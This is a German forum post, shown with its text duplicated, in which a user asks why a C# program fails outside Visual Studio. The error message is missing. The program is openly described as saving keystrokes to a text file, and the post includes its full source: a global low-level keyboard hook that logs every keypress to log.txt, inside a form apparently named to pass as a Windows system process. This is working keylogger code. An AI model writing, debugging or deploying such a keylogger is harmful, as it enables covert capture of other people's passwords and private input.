Hab ein recht simples Programm in VS Express 2015 geschrieben.
Es soll die Tastenanschläge in ein txt-file speichern.
Beim Debuggen in VS gibs keine Probleme, jedoch wenn ich die .exe außerhalb von VS ausführ dann bekomme ich eine Fehlermeldung.
Fehlermeldung:
Jedoch kann ich mit der Fehlermeldung nichts anfangen und Google konnte mir auch nicht weiterhelfen.
Hier das Programm:
Bitte um Hilfe.
mfG
Es soll die Tastenanschläge in ein txt-file speichern.
Beim Debuggen in VS gibs keine Probleme, jedoch wenn ich die .exe außerhalb von VS ausführ dann bekomme ich eine Fehlermeldung.
Fehlermeldung:
Jedoch kann ich mit der Fehlermeldung nichts anfangen und Google konnte mir auch nicht weiterhelfen.
Hier das Programm:
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
namespace WindowsFormsApplication11
{
public partial class WindowsLocalhostProcess : Form
{
public WindowsLocalhostProcess()
{
InitializeComponent();
}
private static IntPtr _hookID = IntPtr.Zero;
private void WindowsLocalhostProcess_Load(object sender, EventArgs e)
{
_hookID = SetHook(HookCallback);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)0x0100)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(13, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
Bitte um Hilfe.
mfG